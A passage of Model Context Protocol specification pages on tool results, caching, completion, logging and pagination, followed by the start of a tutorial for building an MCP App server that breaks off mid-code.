All content types (text, image, audio, resource links, and embedded resources)
support optional
[annotations](/specification/2026-07-28/server/resources#annotations) that
provide metadata about audience, priority, and modification times. This is the
same annotation format used by resources and prompts.
#### Text Content
```json theme={null}
{
"type": "text",
"text": "Tool result text"
}
```
#### Image Content
```json theme={null}
{
"type": "image",
"data": "base64-encoded-data",
"mimeType": "image/png",
"annotations": {
"audience": ["user"],
"priority": 0.9
}
}
```
#### Audio Content
```json theme={null}
{
"type": "audio",
"data": "base64-encoded-audio-data",
"mimeType": "audio/wav"
}
```
#### Resource Links
A tool **MAY** return links to [Resources](/specification/2026-07-28/server/resources), to provide additional context
or data. In this case, the tool will return a URI that can be subscribed to or fetched by the client:
```json theme={null}
{
"type": "resource_link",
"uri": "file:///project/src/main.rs",
"name": "main.rs",
"description": "Primary application entry point",
"mimeType": "text/x-rust"
}
```
Resource links support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations) as regular resources to help clients understand how to use them.
Resource links returned by tools are not guaranteed to appear in the results
of a `resources/list` request.
#### Embedded Resources
[Resources](/specification/2026-07-28/server/resources) **MAY** be embedded to provide additional context
or data using a suitable [URI scheme](./resources#common-uri-schemes). Servers that use embedded resources **SHOULD** implement the `resources` capability:
```json theme={null}
{
"type": "resource",
"resource": {
"uri": "file:///project/src/main.rs",
"mimeType": "text/x-rust",
"text": "fn main() {\n println!(\"Hello world!\");\n}",
"annotations": {
"audience": ["user", "assistant"],
"priority": 0.7,
"lastModified": "2025-05-03T14:30:00Z"
}
}
}
```
Embedded resources support the same [Resource annotations](/specification/2026-07-28/server/resources#annotations) as regular resources to help clients understand how to use them.
#### Structured Content
**Structured** content is returned as a JSON value in the `structuredContent` field of a result. This can be any JSON value (object, array, string, number, boolean, or null) that conforms to the tool's `outputSchema` if one is defined.
For backwards compatibility, a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block.
`structuredContent` is server-produced result data and is unrelated to LLM
"structured outputs" (schema-constrained model generation).
#### Output Schema
Tools may also provide an output schema for validation of structured results.
If an output schema is provided:
* Servers **MUST** provide structured results that conform to this schema.
* Clients **SHOULD** validate structured results against this schema.
Example tool with output schema:
```json theme={null}
{
"name": "get_weather_data",
"title": "Weather Data Retriever",
"description": "Get current weather data for a location",
"inputSchema": {
"type": "object",
"properties": {
"location": {
"type": "string",
"description": "City name or zip code"
}
},
"required": ["location"]
},
"outputSchema": {
"type": "object",
"properties": {
"temperature": {
"type": "number",
"description": "Temperature in celsius"
},
"conditions": {
"type": "string",
"description": "Weather conditions description"
},
"humidity": {
"type": "number",
"description": "Humidity percentage"
}
},
"required": ["temperature", "conditions", "humidity"]
}
}
```
Example valid response for this tool:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 5,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "{\"temperature\": 22.5, \"conditions\": \"Partly cloudy\", \"humidity\": 65}"
}
],
"structuredContent": {
"temperature": 22.5,
"conditions": "Partly cloudy",
"humidity": 65
}
}
}
```
Example tool with array output schema:
```json theme={null}
{
"name": "list_users",
"title": "User List",
"description": "Returns a list of all users",
"inputSchema": {
"type": "object",
"properties": {}
},
"outputSchema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": { "type": "string" },
"name": { "type": "string" },
"email": { "type": "string" }
},
"required": ["id", "name", "email"]
}
}
}
```
Example valid response for a tool with array output:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 6,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Found 2 users: Alice (alice@example.com) and Bob (bob@example.com)."
}
],
"structuredContent": [
{ "id": "1", "name": "Alice", "email": "alice@example.com" },
{ "id": "2", "name": "Bob", "email": "bob@example.com" }
]
}
}
```
Providing an output schema helps clients and LLMs understand and properly handle structured tool outputs by:
* Enabling strict schema validation of responses
* Providing type information for better integration with programming languages
* Guiding clients and LLMs to properly parse and utilize the returned data
* Supporting better documentation and developer experience
### Schema Examples
#### Tool with default 2020-12 schema:
```json theme={null}
{
"name": "calculate_sum",
"description": "Add two numbers",
"inputSchema": {
"type": "object",
"properties": {
"a": { "type": "number" },
"b": { "type": "number" }
},
"required": ["a", "b"]
}
}
```
#### Tool with explicit draft-07 schema:
```json theme={null}
{
"name": "calculate_sum",
"description": "Add two numbers",
"inputSchema": {
"$schema": "http://json-schema.org/draft-07/schema#",
"type": "object",
"properties": {
"a": { "type": "number" },
"b": { "type": "number" }
},
"required": ["a", "b"]
}
}
```
#### Tool with no parameters:
```json theme={null}
{
"name": "get_current_time",
"description": "Returns the current server time",
"inputSchema": {
"type": "object",
"additionalProperties": false
}
}
```
## Stateful Tools
This section is non-normative guidance for tool design. The protocol has no
concept of a state handle; from the wire's perspective a handle is an ordinary
string in a tool result and an ordinary argument to subsequent tool calls.
MCP has no protocol-level session, so a server cannot rely on implicit
per-connection state to relate one tool call to the next. Servers that need to
maintain state across calls — a shopping cart, an open browser context, a
database transaction — should do so by returning an explicit handle from a
creation tool and accepting that handle as an argument on subsequent calls.
For example, a server that manages a shopping cart might expose:
```jsonc theme={null}
// → tools/call
{ "name": "create_basket", "arguments": {} }
// ← result
{
"content": [{ "type": "text", "text": "Created basket bsk_a1b2c3" }],
"structuredContent": { "basket_id": "bsk_a1b2c3" }
}
// → tools/call
{
"name": "add_item",
"arguments": { "basket_id": "bsk_a1b2c3", "sku": "..." }
}
```
The model is responsible for carrying `basket_id` forward; the server stores
the cart contents under that key and looks them up on each call.
When designing handles, servers should consider:
* **Authorization.** For authenticated servers, a handle is a name, not a
capability. The server should validate the caller's authorization against the
handle on every call. For unauthenticated servers, where the handle is
necessarily a bearer token, it should be generated with sufficient entropy
(e.g., a UUIDv4) and given a bounded lifetime.
* **Opacity.** Handles that encode internal structure invite parsing or
guessing; opaque identifiers do not.
* **Lifetime.** Because handles outlive any single connection, the server's
retention policy should be stated in the creation tool's description (e.g.,
"baskets expire after 24 hours of inactivity") so the model can see it when
deciding to create state.
* **Expiry errors.** A call against an expired or unknown handle should return
a tool execution error that says so, so the model can recover by creating a
new one.
## Error Handling
Tools use two error reporting mechanisms:
1. **Protocol Errors** indicate issues with the request structure itself that models are less likely to be able to fix:
* Unknown tool
* Malformed requests (requests that fail to satisfy [CallToolRequest schema](/specification/2026-07-28/schema#calltoolrequest))
* Server errors
They are returned as standard JSON-RPC errors:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 3,
"error": {
"code": -32602,
"message": "Unknown tool: invalid_tool_name"
}
}
```
2. **Tool Execution Errors** contain actionable feedback that language models can use to self-correct and retry with adjusted parameters:
* API failures
* Input validation errors (e.g., date in wrong format, value out of range)
* Business logic errors
They are reported in tool results with `isError: true`:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 4,
"result": {
"resultType": "complete",
"content": [
{
"type": "text",
"text": "Invalid departure date: must be in the future. Current date is 08/08/2025."
}
],
"isError": true
}
}
```
Clients **MAY** provide protocol errors to language models, though these are less likely to result in successful recovery.
Clients **SHOULD** provide tool execution errors to language models to enable self-correction.
## Security Considerations
1. Servers **MUST**:
* Validate all tool inputs
* Implement proper access controls
* Rate limit tool invocations
* Sanitize tool outputs
2. Clients **SHOULD**:
* Prompt for user confirmation on sensitive operations
* Show tool inputs to the user before calling the server, to avoid malicious or
accidental data exfiltration
* Validate tool results before passing to LLM
* Follow the [`$ref` resolution requirements](/specification/2026-07-28/basic/index#ref-resolution)
when validating tool inputs and outputs against `inputSchema` and `outputSchema`
* Implement timeouts for tool calls
* Log tool usage for audit purposes
# Caching
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/caching
The Model Context Protocol (MCP) supports caching for some results. This allows clients to cache responses and reduce unnecessary re-fetching.
Caching is complementary to [change notifications](#interaction-with-notifications)—both
mechanisms can coexist.
## Cacheable Results
Servers MUST include caching hints on results with `resultType: "complete"` returned by
the following operations:
* `server/discover`
* `tools/list`
* `prompts/list`
* `resources/list`
* `resources/templates/list`
* `resources/read`
Interim results with `resultType: "input_required"` (see
[multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr)) are not cacheable
and carry no caching hints.
## Cache Key
A cached response is identified by the request method together with the request
parameters that affect the result (for example, the `uri` for `resources/read`, or the
`cursor` for paginated list requests). Clients **MUST NOT** serve a cached response for
a request whose method or parameters differ from the request that produced it.
Results produced by retrying a request through the
[multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr) mechanism—that
is, requests carrying `inputResponses` or `requestState`—**MUST NOT** be cached,
as they depend on inputs that are not part of the cache key.
## Cacheable Model
Cacheable Results in MCP use two fields to provide caching hints to clients:
* The Time-to-live (TTL) Field,`ttlMs`, is an integer value in milliseconds specifying how long the client MAY consider the result fresh.
* The Cache Scope Field,`cacheScope`, indicates the intended scope of the cached response, either `"public"` or `"private"`.
### Time-to-Live (TTL) Field
The `ttlMs` field is a hint from the server indicating how long, in
milliseconds, the client MAY consider the result fresh. Semantics are
analogous to HTTP `Cache-Control: max-age`.
* If `ttlMs` is `0`, the response **SHOULD** be considered immediately stale. The client
MAY re-fetch every time the result is needed.
* If `ttlMs` is positive, the client **SHOULD** consider the result fresh for that many
milliseconds after receiving the response.
* If `ttlMs` is absent, clients **SHOULD** assume a default of `0` (immediately stale)
and rely on their own caching heuristics or notifications. This should only occur in older server versions.
* If `ttlMs` is negative, clients **SHOULD** ignore it and treat it as `0`.
Servers **MUST** provide a `ttlMs` value that is `>= 0`.
TTL is a **freshness hint**, not a guarantee. Servers MAY change the
underlying data before the TTL expires. The TTL tells the client how long it
can reasonably avoid re-fetching, not how long the data is guaranteed to
remain unchanged.
#### Freshness Calculation
A client records the local time at which the response was received (`t_received`). The
response is considered **fresh** while:
```
now < t_received + ttlMs
```
Once the TTL expires, the response is **stale** and the client **SHOULD** re-fetch on
next access.
Clients **SHOULD NOT** treat TTL as a polling interval that triggers automatic background
refetches. The TTL is a freshness hint: the client checks freshness when it needs the
data, and re-fetches only if stale. Implementations that do choose to poll **MUST**
apply jitter and backoff.
Clients **MAY** re-fetch before the TTL expires if they have reason to believe the data
has changed (e.g., receiving an unexpected error on a tool call indicating the method was
not found or the parameters were invalid).
Clients **MAY** serve stale responses if errors occur during re-fetching (e.g., network
issues, server downtime).
### Cache Scope Field
The `cacheScope` field controls who may cache a response, analogous to HTTP
`Cache-Control: public` vs `Cache-Control: private`.
| Value | Meaning |
| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `"public"` | The response does not contain user-specific data. Any client, shared gateway, or caching proxy **MAY** store and serve the cached response to any user. |
| `"private"` | The response contains private data that is not meant to be shared between callers. Cached responses **MAY** be reused for the same authorization context. Caches **MUST NOT** be shared across authorization contexts (e.g. a different access token requires a different cache). |
#### Choosing a Cache Scope
* **`"public"`** is appropriate for lists of tools, prompts, and resource templates when
they are identical for all users.
* **`"private"`** is appropriate for `resources/read` results that depend on the
authenticated user, or for filtered list results that vary per user.
## Interaction with Notifications
TTL and server-push notifications are complementary:
* A server **MAY** provide `ttlMs` without advertising `listChanged: true` in its
capabilities. In this case, the client relies entirely on TTL-based freshness.
* A server **MAY** advertise `listChanged: true` **and** provide `ttlMs`. In this case,
the client can use the TTL to avoid unnecessary refetches between notifications, and
the notification acts as an immediate invalidation signal.
When a relevant notification is received while a cached response is still fresh, the
notification **invalidates** the cached response and it should be considered immediately stale.
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: tools/list
Server-->>Client: { tools: [...], ttlMs: 300000 }
Note over Client: Cache response, fresh for 5 min
Note over Client: 2 minutes later...
Client->>Client: Need tools list → cache still fresh, use cached
Note over Client: 3 minutes later (TTL expired)...
Client->>Client: Need tools list → cache stale
Client->>Server: tools/list
Server-->>Client: { tools: [...], ttlMs: 300000 }
Note over Server: Tools change before TTL expires
Server-->>Client: notifications/tools/list_changed
Note over Client: Invalidate cache immediately
Client->>Server: tools/list
Server-->>Client: { tools: [...], ttlMs: 300000 }
```
## Interaction with Pagination
When a list result is [paginated](/specification/2026-07-28/server/utilities/pagination), each
page is an independently cacheable response—consistent with how HTTP
`Cache-Control` treats paginated resources.
* Each page response carries its own `ttlMs` value. The freshness clock for each page
starts at the time that page was received.
* Servers **MAY** return different `ttlMs` values on different pages (e.g., a longer TTL
for early pages of a stable list, a shorter TTL for the final page).
* When a cached page expires, the client **SHOULD** re-fetch that page using its cursor.
* There is no cross-page consistency guarantee. If the underlying data changes between
page fetches, clients may observe duplicates or gaps.
* Clients that require a consistent snapshot of the full list **SHOULD** re-fetch from
the beginning (without a cursor).
* If a cursor becomes invalid (e.g., the server returns an error for a previously valid
cursor), the client **SHOULD** discard all cached pages and re-fetch from the
beginning.
Servers **MUST** apply the same `cacheScope` to all response pages for a given list
request. For example, if the first page of a `tools/list` response has
`cacheScope: "private"`, all subsequent pages for that request **MUST** also be
`"private"`.
## Security Considerations
A `cacheScope` of `"public"` indicates that the response does not contain user-specific data and can be safely shared. Servers MUST be aware that responses with a `"public"` `cacheScope` may be shared between callers even if the Result is coming from an authenticated endpoint. For example, the Result from an authenticated `tools/list` call with a `"public"` `cacheScope` may be cached by a client and may be shared outside of the initial requests authorization context. (i.e. different access tokens can leverage the same cache).
Server implementors:
* should ensure that the `cacheScope` correctly reflects the intended visibility of the primitive.
* MUST apply appropriate per-primitive access controls, and MUST NOT rely on
`cacheScope` alone to prevent unauthorized access to primitives.
# Completion
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/completion
The Model Context Protocol (MCP) provides a standardized way for servers to offer
autocompletion suggestions for the arguments of prompts and resource templates. When
users are filling in argument values for a specific prompt (identified by name) or
resource template (identified by URI), servers can provide contextual suggestions.
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## User Interaction Model
Completion in MCP is designed to support interactive user experiences similar to IDE code
completion.
For example, applications may show completion suggestions in a dropdown or popup menu as
users type, with the ability to filter and select from available options.
However, implementations are free to expose completion through any interface pattern that
suits their needs—the protocol itself does not mandate any specific user
interaction model.
## Capabilities
Servers that support completions **MUST** declare the `completions` capability:
```json theme={null}
{
"capabilities": {
"completions": {}
}
}
```
## Protocol Messages
### Requesting Completions
To get completion suggestions, clients send a `completion/complete` request specifying
what is being completed through a reference type:
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "completion/complete",
"params": {
"ref": {
"type": "ref/prompt",
"name": "code_review"
},
"argument": {
"name": "language",
"value": "py"
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"completion": {
"values": ["python", "pytorch", "pyside"],
"total": 10,
"hasMore": true
}
}
}
```
For prompts or URI templates with multiple arguments, clients should include previous completions in the `context.arguments` object to provide context for subsequent requests.
**Request:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "completion/complete",
"params": {
"ref": {
"type": "ref/prompt",
"name": "code_review"
},
"argument": {
"name": "framework",
"value": "fla"
},
"context": {
"arguments": {
"language": "python"
}
}
}
}
```
**Response:**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"completion": {
"values": ["flask"],
"total": 1,
"hasMore": false
}
}
}
```
### Reference Types
The protocol supports two types of completion references:
| Type | Description | Example |
| -------------- | ----------------------------------------- | --------------------------------------------------- |
| `ref/prompt` | References a prompt by name | `{"type": "ref/prompt", "name": "code_review"}` |
| `ref/resource` | References a resource URI or URI template | `{"type": "ref/resource", "uri": "file:///{path}"}` |
### Completion Results
Servers return an array of completion values ranked by relevance, with:
* Maximum 100 items per response
* Optional total number of available matches
* Boolean indicating if additional results exist
## Message Flow
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Note over Client: User types argument
Client->>Server: completion/complete
Server-->>Client: Completion suggestions
Note over Client: User continues typing
Client->>Server: completion/complete
Server-->>Client: Refined suggestions
```
## Data Types
### CompleteRequest
* `ref`: A `PromptReference` or `ResourceTemplateReference`. For
`ResourceTemplateReference`, `uri` is a URI or URI template.
* `argument`: Object containing:
* `name`: Argument name
* `value`: Current value
* `context`: Object containing:
* `arguments`: A mapping of already-resolved argument names to their values.
### CompleteResult
* `completion`: Object containing:
* `values`: Array of suggestions (max 100)
* `total`: Optional total matches
* `hasMore`: Additional results flag
## Error Handling
Servers **SHOULD** return standard JSON-RPC errors for common failure cases:
* Method not found: `-32601` (Capability not supported)
* Invalid prompt name: `-32602` (Invalid params)
* Missing required arguments: `-32602` (Invalid params)
* Internal errors: `-32603` (Internal error)
## Implementation Considerations
1. Servers **SHOULD**:
* Return suggestions sorted by relevance
* Implement fuzzy matching where appropriate
* Rate limit completion requests
* Validate all inputs
2. Clients **SHOULD**:
* Debounce rapid completion requests
* Cache completion results where appropriate
* Handle missing or partial results gracefully
## Security
Implementations **MUST**:
* Validate all completion inputs
* Implement appropriate rate limiting
* Control access to sensitive suggestions
* Prevent completion-based information disclosure
# Logging
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/logging
**Deprecated**: The Logging feature is deprecated as of protocol version
`2026-07-28`
([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
Under the [feature lifecycle policy](/community/feature-lifecycle), it remains
in the specification for at least twelve months after this revision's release
before it becomes eligible for removal. New implementations **SHOULD NOT**
adopt it; existing implementations **SHOULD** migrate to logging to `stderr`
for stdio transports, or to [OpenTelemetry](https://opentelemetry.io/) for
structured observability. See the [deprecated features
registry](/specification/2026-07-28/deprecated).
The Model Context Protocol (MCP) provides a standardized way for servers to send
structured log messages to clients. Clients control logging verbosity per-request via
`_meta`, with servers sending notifications containing severity levels, optional logger
names, and arbitrary JSON-serializable data.
## User Interaction Model
Implementations are free to expose logging through any interface pattern that suits their
needs—the protocol itself does not mandate any specific user interaction model.
## Capabilities
Servers that emit log message notifications **MUST** declare the `logging` capability:
```json theme={null}
{
"capabilities": {
"logging": {}
}
}
```
## Log Levels
The protocol follows the standard syslog severity levels specified in
[RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1):
| Level | Description | Example Use Case |
| --------- | -------------------------------- | -------------------------- |
| debug | Detailed debugging information | Function entry/exit points |
| info | General informational messages | Operation progress updates |
| notice | Normal but significant events | Configuration changes |
| warning | Warning conditions | Deprecated feature usage |
| error | Error conditions | Operation failures |
| critical | Critical conditions | System component failures |
| alert | Action must be taken immediately | Data corruption detected |
| emergency | System is unusable | Complete system failure |
## Requesting Log Messages
### Per-request log level
To receive log messages for a specific request, include
`io.modelcontextprotocol/logLevel` in the request's `_meta`. The server **MUST NOT**
emit `notifications/message` for a request that does not include this field.
When the field is present, the server **MAY** send `notifications/message`
notifications at or above the requested level on the response stream of that
request, before the final response. `notifications/message` is request-scoped:
the server **MUST NOT** deliver it on a
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
stream or on any stream other than the one carrying the response to the request
that set the log level.
## Protocol Messages
### Log Message Notifications
Servers send log messages using `notifications/message` notifications:
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/message",
"params": {
"level": "error",
"logger": "database",
"data": {
"error": "Connection failed",
"details": {
"host": "localhost",
"port": 5432
}
}
}
}
```
## Error Handling
If the `io.modelcontextprotocol/logLevel` value carried in a request's `_meta`
is not a recognized [log level](#log-levels), the server **SHOULD** reject that
request with a standard JSON-RPC error:
* Invalid log level: `-32602` (Invalid params)
* Internal errors: `-32603` (Internal error)
## Implementation Considerations
1. Servers **SHOULD**:
* Rate limit log messages
* Include relevant context in data field
* Use consistent logger names
* Remove sensitive information
2. Clients **MAY**:
* Present log messages in the UI
* Implement log filtering/search
* Display severity visually
* Persist log messages
## Security
1. Log messages **MUST NOT** contain:
* Credentials or secrets
* Personal identifying information
* Internal system details that could aid attacks
2. Implementations **SHOULD**:
* Rate limit messages
* Validate all data fields
* Control log access
* Monitor for sensitive content
# Pagination
Source: https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/pagination
The Model Context Protocol (MCP) supports paginating list operations that may return
large result sets. Pagination allows servers to yield results in smaller chunks rather
than all at once.
Pagination is especially important when connecting to external services over the
internet, but also useful for local integrations to avoid performance issues with large
data sets.
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## Pagination Model
Pagination in MCP uses an opaque cursor-based approach, instead of numbered pages.
* The **cursor** is an opaque string token, representing a position in the result set
* **Page size** is determined by the server, and clients **MUST NOT** assume a fixed page
size
## Response Format
Pagination starts when the server sends a **response** that includes:
* The current page of results
* An optional `nextCursor` field if more results exist
```json theme={null}
{
"jsonrpc": "2.0",
"id": "123",
"result": {
"resultType": "complete",
"resources": [...],
"nextCursor": "eyJwYWdlIjogM30=",
"ttlMs": 300000,
"cacheScope": "public"
}
}
```
## Request Format
After receiving a cursor, the client can *continue* paginating by issuing a request
including that cursor:
```json theme={null}
{
"jsonrpc": "2.0",
"id": "124",
"method": "resources/list",
"params": {
"cursor": "eyJwYWdlIjogMn0="
}
}
```
## Pagination Flow
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: List Request (no cursor)
loop Pagination Loop
Server-->>Client: Page of results + nextCursor
Client->>Server: List Request (with cursor)
end
```
## Operations Supporting Pagination
The following MCP operations support pagination:
* `resources/list` - List available resources
* `resources/templates/list` - List resource templates
* `prompts/list` - List available prompts
* `tools/list` - List available tools
## Implementation Guidelines
1. Servers **SHOULD**:
* Provide stable cursors
* Handle invalid cursors gracefully
2. Clients **SHOULD**:
* Treat a missing `nextCursor` as the end of results
* Support both paginated and non-paginated flows
3. Clients **MUST** treat cursors as opaque tokens:
* Don't make assumptions about cursor format
* Don't attempt to parse or modify cursors
* Don't make any determination based on cursor value other than whether a
non-null value was provided (e.g. an empty string is a valid cursor and
thus **MUST NOT** be treated as the end of results)
## Error Handling
Invalid cursors **SHOULD** result in an error with code -32602 (Invalid params).
# Build an MCP App
Source: https://modelcontextprotocol.io/extensions/apps/build
Getting started guide for building interactive UI applications with MCP Apps
## Prerequisites
You'll need [Node.js](https://nodejs.org/en/download) 18 or higher. Familiarity
with [MCP tools](/specification/latest/server/tools) and
[resources](/specification/latest/server/resources) is recommended since MCP
Apps combine both primitives. Experience with the
[MCP TypeScript SDK](https://github.com/modelcontextprotocol/typescript-sdk)
will help you better understand the server-side patterns.
## Getting started
The fastest way to create an MCP App is using an AI coding agent with the MCP
Apps skill. If you prefer to set up a project manually, skip to
[Manual setup](#manual-setup).
### Using an AI coding agent
AI coding agents with Skills support can scaffold a complete MCP App project for
you. Skills are folders of instructions and resources that your agent loads when
relevant. They teach the AI how to perform specialized tasks like creating MCP
Apps.
The `create-mcp-app` skill includes architecture guidance, best practices, and
working examples that the agent uses to generate your project.
If you are using Claude Code, you can install the skill directly with:
```
/plugin marketplace add modelcontextprotocol/ext-apps
/plugin install mcp-apps@modelcontextprotocol-ext-apps
```
You can also use the [Vercel Skills CLI](https://skills.sh/) to install skills across different AI coding agents:
```bash theme={null}
npx skills add modelcontextprotocol/ext-apps
```
Alternatively, you can install the skill manually by cloning the ext-apps repository:
```bash theme={null}
git clone https://github.com/modelcontextprotocol/ext-apps.git
```
And then copying the skill to the appropriate location for your agent:
| Agent | Skills directory (macOS/Linux) | Skills directory (Windows) |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ | ------------------------------------- |
| [Claude Code](https://docs.anthropic.com/en/docs/claude-code/skills) | `~/.claude/skills/` | `%USERPROFILE%\.claude\skills\` |
| [VS Code](https://code.visualstudio.com/docs/copilot/customization/agent-skills) and [GitHub Copilot](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills) | `~/.copilot/skills/` | `%USERPROFILE%\.copilot\skills\` |
| [Gemini CLI](https://geminicli.com/docs/cli/skills/) | `~/.gemini/skills/` | `%USERPROFILE%\.gemini\skills\` |
| [Cline](https://cline.bot/blog/cline-3-48-0-skills-and-websearch-make-cline-smarter) | `~/.cline/skills/` | `%USERPROFILE%\.cline\skills\` |
| [Goose](https://goose-docs.ai/docs/guides/context-engineering/using-skills/) | `~/.config/goose/skills/` | `%USERPROFILE%\.config\goose\skills\` |
| [Codex](https://developers.openai.com/codex/skills/) | `~/.codex/skills/` | `%USERPROFILE%\.codex\skills\` |
| [Cursor](https://cursor.com/docs/context/skills) | `~/.cursor/skills/` | `%USERPROFILE%\.cursor\skills\` |
This list is not comprehensive. Other agents may support skills in different locations; check your agent's documentation.
For example, with Claude Code you can install the skill globally (available in all projects):
```bash macOS/Linux theme={null}
cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app ~/.claude/skills/create-mcp-app
```
```powershell Windows theme={null}
Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app $env:USERPROFILE\.claude\skills\create-mcp-app
```
Or install it for a single project only by copying to `.claude/skills/` in your project directory:
```bash macOS/Linux theme={null}
mkdir -p .claude/skills && cp -r ext-apps/plugins/mcp-apps/skills/create-mcp-app .claude/skills/create-mcp-app
```
```powershell Windows theme={null}
New-Item -ItemType Directory -Force -Path .claude\skills | Out-Null; Copy-Item -Recurse ext-apps\plugins\mcp-apps\skills\create-mcp-app .claude\skills\create-mcp-app
```
To verify the skill is installed, ask your agent "What skills do you have access to?" — you should see `create-mcp-app` as one of the available skills.
Ask your AI coding agent to build it:
```
Create an MCP App that displays a color picker
```
The agent will recognize the `create-mcp-app` skill is relevant, load its instructions, then scaffold a complete project with server, UI, and configuration files.
```bash macOS/Linux theme={null}
npm install && npm run build && npm run serve
```
```powershell Windows theme={null}
npm install; npm run build; npm run serve
```
You might need to make sure that you are first in the **app folder** before running the commands above.
Follow the instructions in [Testing your app](#testing-your-app) below. For the color picker example, start a new chat and ask Claude to provide you a color picker.
### Manual setup
If you're not using an AI coding agent, or prefer to understand the setup
process, follow these steps.
A typical MCP App project separates the server code from the UI code:
The server registers the tool and serves the UI resource. The UI resource will eventually be rendered in a secure iframe with deny-by-default CSP configuration. If your app has CSS and JS assets, you will need to [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors), or you can bundle your assets into the HTML with a tool like `vite-plugin-singlefile`, which is what we will do in this tutorial.
```bash theme={null}
npm install @modelcontextprotocol/ext-apps @modelcontextprotocol/sdk
npm install -D typescript vite vite-plugin-singlefile express cors @types/express @types/cors tsx
```
The `ext-apps` package provides helpers for both the server side (registering tools and resources) and the client side (the `App` class for UI-to-host communication). Vite with the `vite-plugin-singlefile` plugin is used here to bundle your UI and assets into a single HTML file for convenience, but this is optional — you can use any bundler or serve unbundled files if you [configure CSP](https://apps.extensions.modelcontextprotocol.io/api/documents/Patterns.html#configuring-csp-and-cors).
The `"type": "module"` setting enables ES module syntax. The `build` script uses the `INPUT` environment variable to tell Vite which HTML file to bundle. The `serve` script runs your server using `tsx` for TypeScript execution.
```json theme={null}
{
"type": "module",
"scripts": {
"build": "INPUT=mcp-app.html vite build",
"serve": "npx tsx server.ts"
}
}
```
The TypeScript configuration targets modern JavaScript (`ES2022`) and uses ESNext modules with bundler resolution, which works well with Vite. The `include` array covers both the server code in the root and UI code in `src/`.
```json theme={null}
{
"compilerOptions": {
"target": "ES2022",
"module": "ESNext",
"moduleResolution": "bundler",
"strict": true,
"esModuleInterop": true,
"skipLibCheck": true,
"outDir": "dist"
},
"include": ["*.ts", "src/**/*.ts"]
}
```
```typescript theme={null}
import { defineConfig } from "vite";
import { viteSingleFile } from "vite-plugin-singlefile";
export default defineConfig({
plugins: [viteSingleFile()],
build: {
outDir: "dist",
rollupOptions: {
input: process.env.INPUT,
},
},
});
```
With the project structure and configuration in place, continue to [Building an MCP App](#building-an-mcp-app) below to implement the server and UI.
## Building an MCP App
Let's build a simple app that displays the current server time. This example
demonstrates the full pattern: registering a tool with UI metadata, serving the
bundled HTML as a resource, and building a UI that communicates with the server.
### Server implementation
The server needs to do two things: register a tool that includes the
`_meta.ui.resourceUri` field, and register a resource handler that serves the
bundled HTML. Here's the complete server file:
```typescript theme={null}
// server.ts
console.log("Starting MCP App server...");
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
import {
registerAppTool,
registerAppResource,
RESOURCE_MIME_TYPE,
} from "@modelcontextprotocol/ext-apps/server";
import cors from "cors";
import express from "express";
import fs from "node:fs/promises";
import path from "node:path";
const server = new McpServer({
name: "My MCP App Server",
version: "1.0.0",
});
// The ui:// scheme tells hosts this is an MCP App resource.
// The path structure is arbitrary; organize it however makes sense for your app.
const resourceUri = "ui://get-time/mcp-app.html";
// Register the tool that returns the current time
registerAppTool(
server,
"get-time",
{
title: "Get Time",
description: "Returns the current server time.",
inputSchema: {},
_meta: { ui: { resourceUri } },
},
async () => {
const time = new Date().toISOString();
return {
content: [{ type: "text", text: time }],
};
},
);
// Register the resource that serves the bundled HTML
registerAppResource(
server,
resourceUri,
resourceUri,
{ mimeType: RESOURCE_MIME_TYPE },
async () => {
const html = await fs.readFile(
path.join(import.meta.dirname, "dist", "mcp-app.html"),
"utf-8",
);
return {
contents: [
{ uri: resourceUri, mimeType: RESOURCE_MIME_TYPE, text: html },
],
};
},
);
// Expose the MCP server over HTTP
const expressApp = express();
expressApp.use(cors());
expressApp.use(express.json());
expressApp.post("/mcp", async (req, res) => {
const transport = new StreamableHTTPServerTransport({
